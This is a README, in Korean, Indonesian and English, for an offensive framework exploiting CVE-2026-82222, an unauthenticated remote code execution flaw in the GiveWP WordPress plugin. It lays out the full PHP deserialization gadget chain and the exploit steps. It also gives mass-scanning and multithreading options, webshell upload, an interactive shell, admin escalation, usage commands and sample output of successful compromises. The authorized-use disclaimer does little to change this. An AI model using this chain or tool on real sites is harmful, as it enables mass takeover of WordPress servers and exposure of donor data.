
GiveWP WordPress 플러그인의 비인증 RCE인 CVE-2026-82222용 익스플로잇 프레임워크입니다. 대량 스캔, 자동 감지, 멀티스레딩, JSON/TXT 출력 및 승인된 테스트용 인터랙티브 셸을 지원합니다.
CVE-2026-82222 - GiveWP 인증 없는 RCE 익스플로잇
대량 스캐너 + 자동 탐지 + 멀티스레딩 + 인터랙티브 셸
GHOSTLYR00T는 CVE-2026-82222을 위한 익스플로잇 프레임워크로, WordPress GiveWP 플러그인의 PHP 객체 주입 취약점으로 인증 없이 원격 코드 실행(RCE)이 가능합니다. 이 도구는 대량 스캐닝, 자동 탐지, 인터랙티브 셸을 지원합니다.
🔴 CVSS 9.8 - CRITICAL
Vector: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
| 기능 | 설명 |
|---|---|
| 대량 스캔 | 파일에서 수백 개의 대상 스캔 (-f targets.txt) |
| 자동 탐지 | 양식 ID, 게이트웨이, 기부 금액 자동 탐지 |
| 멀티스레딩 | 구성 가능한 스레드로 병렬 스캔 (--threads) |
| 체크 모드 | 익스플로잇 없는 빠른 핑거프린트 (--check) |
| JSON 출력 | 결과를 JSON으로 내보내기 (--json) |
| TXT 출력 | 결과를 간결한 TXT로 내보내기 (--txt) |
| 인터랙티브 셸 | 웹셸 업로드 + 인터랙티브 터미널 |
| 관리자 권한 상승 | 사용자를 관리자로 자동 승격 |
| 진행률 표시줄 | 스캔 진행 상황 실시간 모니터링 |
| 컬러 출력 | 전문적인 색상 및 형식의 출력 |
| 기능 | 설명 |
|---|---|
| 대량 스캔 | 파일에서 수백 개의 대상 스캔 (-f targets.txt) |
| 자동 탐지 | 양식 ID, 게이트웨이, 기부 금액 자동 탐지 |
| 멀티스레딩 | 구성 가능한 스레드로 병렬 스캔 |
| 체크 모드 | 익스플로잇 없는 빠른 핑거프린트 (--check) |
| JSON 출력 | 결과를 JSON으로 내보내기 (--json) |
| TXT 출력 | 결과를 TXT로 내보내기 (--txt) |
| 인터랙티브 셸 | 웹셸 업로드 + 인터랙티브 터미널 |
| 관리자 권한 상승 | 사용자를 관리자로 자동 승격 |
| 진행률 표시줄 | 실시간 스캔 진행 상황 모니터링 |
| 컬러 출력 | 전문적인 컬러 터미널 출력 |
| 항목 | 세부 정보 |
|---|---|
| 영향받는 버전 | GiveWP <= 4.16.7.1 |
| 패치된 버전 | GiveWP >= 4.16.7.2 |
| 공격 벡터 | 네트워크 (AV:N) |
| 필요 권한 | 없음 (PR:N) |
| 영향 | 전체 시스템 장악 |
TCPDF::__destruct()
-> TCPDF::_destroy(true)
-> foreach ($this->imagekeys as $file)
-> Symfony Session::getIterator()
-> Session::getBag($this->attributeName)
-> $this->storage->getBag($attributeName)
-> DonationFactory->__call('getBag', [$attributeName])
-> call_user_func_array('system', [$attributeName])
# 1. 저장소 복제 git clone https://github.com/GhostlyrootB2H/GHOSTLYR00T.git cd GHOSTLYR00T # 2. 의존성 설치 pip install requests urllib3 # 3. 성공 여부 테스트 python3 poc.py -h
# 1. 저장소 복제 git clone https://github.com/GhostlyrootB2H/GHOSTLYR00T.git cd GHOSTLYR00T # 2. 의존성 설치 pip install requests urllib3 # 3. 성공 여부 테스트 python3 poc.py -h
| 파라미터 | 기능 | 예시 |
|---|---|---|
-f, --file | 대상 파일 (배치 모드) | -f targets.txt |
--threads | 스레드 수 (기본값: 4) | --threads 10 |
--json | 결과를 JSON으로 내보내기 | --json hasil.json |
--txt | 결과를 TXT로 내보내기 | --txt hasil.txt |
-c, --command | 실행할 명령어 | -c "id" |
-g, --gateway | 특정 게이트웨이 강제 지정 | -g stripe |
-a, --amount | 기부 금액 강제 지정 | -a 25.00 |
-t, --triggers | 재시도 횟수 (기본값: 4) | -t 5 |
--timeout | 요청당 타임아웃 (기본값: 30초) | --timeout 60 |
--check | 핑거프린트만 수행 | --check |
--upload-shell | 웹셸 업로드 | --upload-shell |
-i, --interactive | 인터랙티브 터미널 | -i |
-v, --verbose | 상세 출력 | -v |
--no-color | 컬러 출력 비활성화 | --no-color |
| 파라미터 | 기능 | 예시 |
|---|---|---|
-f, --file | 대상 파일 (배치 모드) | -f targets.txt |
--threads | 스레드 수 (기본값: 4) | --threads 10 |
--json | 결과를 JSON으로 내보내기 | --json results.json |
--txt | 결과를 TXT로 내보내기 | --txt results.txt |
-c, --command | 실행할 명령어 | -c "id" |
-g, --gateway | 특정 게이트웨이 강제 지정 | -g stripe |
-a, --amount | 기부 금액 강제 지정 | -a 25.00 |
-t, --triggers | 재시도 횟수 (기본값: 4) | -t 5 |
--timeout | 요청 타임아웃 (기본값: 30초) | --timeout 60 |
--check | 핑거프린트만 수행 | --check |
--upload-shell | 웹셸 업로드 | --upload-shell |
-i, --interactive | 인터랙티브 터미널 | -i |
-v, --verbose | 상세 출력 | -v |
--no-color | 컬러 출력 비활성화 | --no-color |
python3 poc.py https://target.com -c "id"
python3 poc.py -f targets.txt --check --txt hasil_check.txt
python3 poc.py -f targets.txt -c "id" --threads 5 --json hasil.json --txt hasil.txt
python3 poc.py https://target.com -c "id" --upload-shell -i
python3 poc.py https://target.com -c "id" -v
python3 poc.py https://target.com -c "id"
python3 poc.py -f targets.txt --check --txt check_results.txt
python3 poc.py -f targets.txt -c "id" --threads 5 --json results.json --txt results.txt
python3 poc.py https://target.com -c "id" --upload-shell -i
python3 poc.py https://target.com -c "id" -v
CVE-2026-82222 GiveWP <= 4.16.7.1 unauthenticated RCE | PoC v2.2
target : https://target.com
form id : auto-discover
command : id
+ GiveWP 4.15.4 detected (vulnerable).
+ User "a1788868506" registered.
+ Gadget stored in account meta.
+ Discovered 13 form(s).
+ Success! Form 37256 / gateway paypal / amount 1.00
+ Session poisoned (HTTP 500).
+--- command output --------------------------------------------
| uid=33(www-data) gid=33(www-data) groups=33(www-data)
+---------------------------------------------------------------
[+] SUCCESS. The target executed the command.
# GiveWP Vulnerability Scan Results (Fingerprint Mode) # Generated: 2026-09-09 12:00:00 # Total: 10 | Vulnerable: 4 | Exploited: 0 | Failed: 6 # # Format: TARGET | VERSION | STATUS # https://target1.com | 4.15.4 | VULNERABLE https://target2.com | 4.14.6 | VULNERABLE
{
"timestamp": 1694265600,
"mode": "exploit",
"total": 10,
"vulnerable": 4,
"exploited": 3,
"failed": 7,
"results": [
{
"target": "https://target1.com",
"status": "exploited",
"version": "4.15.4",
"command_output": "uid=33(www-data) gid=33(www-data)"
}
]
}
CVE-2026-82222 GiveWP <= 4.16.7.1 unauthenticated RCE | PoC v2.2
target : https://target.com
form id : auto-discover
command : id
+ GiveWP 4.15.4 detected (vulnerable).
+ User "a1788868506" registered.
+ Gadget stored in account meta.
+ Discovered 13 form(s).
+ Success! Form 37256 / gateway paypal / amount 1.00
+ Session poisoned (HTTP 500).
+--- command output --------------------------------------------
| uid=33(www-data) gid=33(www-data) groups=33(www-data)
+---------------------------------------------------------------
[+] SUCCESS. The target executed the command.
readme.txt 및 give.php를 통해 GiveWP 버전 탐지give_action=user_register를 통해 인증 없이 기부자 계정 생성last_name 메타데이터에 직렬화된 PHP 객체 저장give_last 필드 없이 기부 전송# Gateway detection order
CANDIDATE_GATEWAYS = ['manual', 'offline', 'paypal', 'stripe', 'square',
'paypalexpress', 'authorize', 'razorpay', 'mollie']
Amount detection order
AMOUNT_TESTS = ['0.01', '1.00', '5.00', '10.00', '25.00', '50.00',
'100.00', '250.00', '500.00']
readme.txt and give.phpgive_action=user_registerlast_name metadatagive_last to trigger deserialization| Pertanyaan | Jawaban |
|---|---|
| Versi GiveWP apa yang rentan? | GiveWP <= 4.16.7.1. Versi 4.16.7.2 dan di atasnya sudah patched. |
Kenapa harus -a 25? | Beberapa form punya minimum amount (misal $25). Tools auto-detect, tapi bisa di-force. |
| Bisa digunakan di production? | TIDAK. Hanya untuk authorized testing. |
| Kenapa registrasi gagal (HTTP 200)? | Target mungkin registrasi dimatikan, WAF aktif, atau versi 4.16.6+. |
| Question | Answer |
|---|---|
| Which GiveWP versions are vulnerable? | GiveWP <= 4.16.7.1. Version 4.16.7.2 and above are patched. |
Why use -a 25? | Some forms have minimum amounts. Tool auto-detects, but can be forced. |
| Can this be used in production? | NO. For authorized testing only. |
| Why registration fails (HTTP 200)? | Target may have registration disabled, WAF active, or version 4.16.6+. |
TOOLS INI HANYA UNTUK PENELITIAN KEAMANAN!
⚠️ Ilegal: Mengakses server tanpa izin = tindak pidana
⚠️ UU ITE: Melanggar Pasal 30-32 tentang akses ilegal
⚠️ Hanya untuk: Pengujian sistem sendiri atau dengan izin tertulis
⚠️ Tanggung Jawab: Pengguna bertanggung jawab penuh atas penggunaan tools ini
GUNAKAN DENGAN BIJAK DAN BERTANGGUNG JAWAB!
THIS TOOL IS FOR SECURITY RESEARCH ONLY!
⚠️ Illegal: Accessing servers without permission = criminal offense
⚠️ Legal Risk: Violates computer fraud laws
⚠️ Authorized use only: Testing your own systems or with written permission
⚠️ Responsibility: Users are fully responsible for their use of this tool
USE WISELY AND RESPONSIBLY!
Copyright © 2026 GhostlyrootB2H
Didistribusikan di bawah lisensi MIT.
Copyright © 2026 GhostlyrootB2H
Distributed under the MIT License.
GhostlyrootB2H
🐙 GitHub: @GhostlyrootB2H
🇮🇩 Terima kasih telah menggunakan GHOSTLYR00T!
Tools ini untuk pembelajaran dan pengujian keamanan.
Jangan gunakan untuk aktivitas ilegal!
🇬🇧 Thank you for using GHOSTLYR00T!
For learning and security testing only.
Do not use for illegal activities!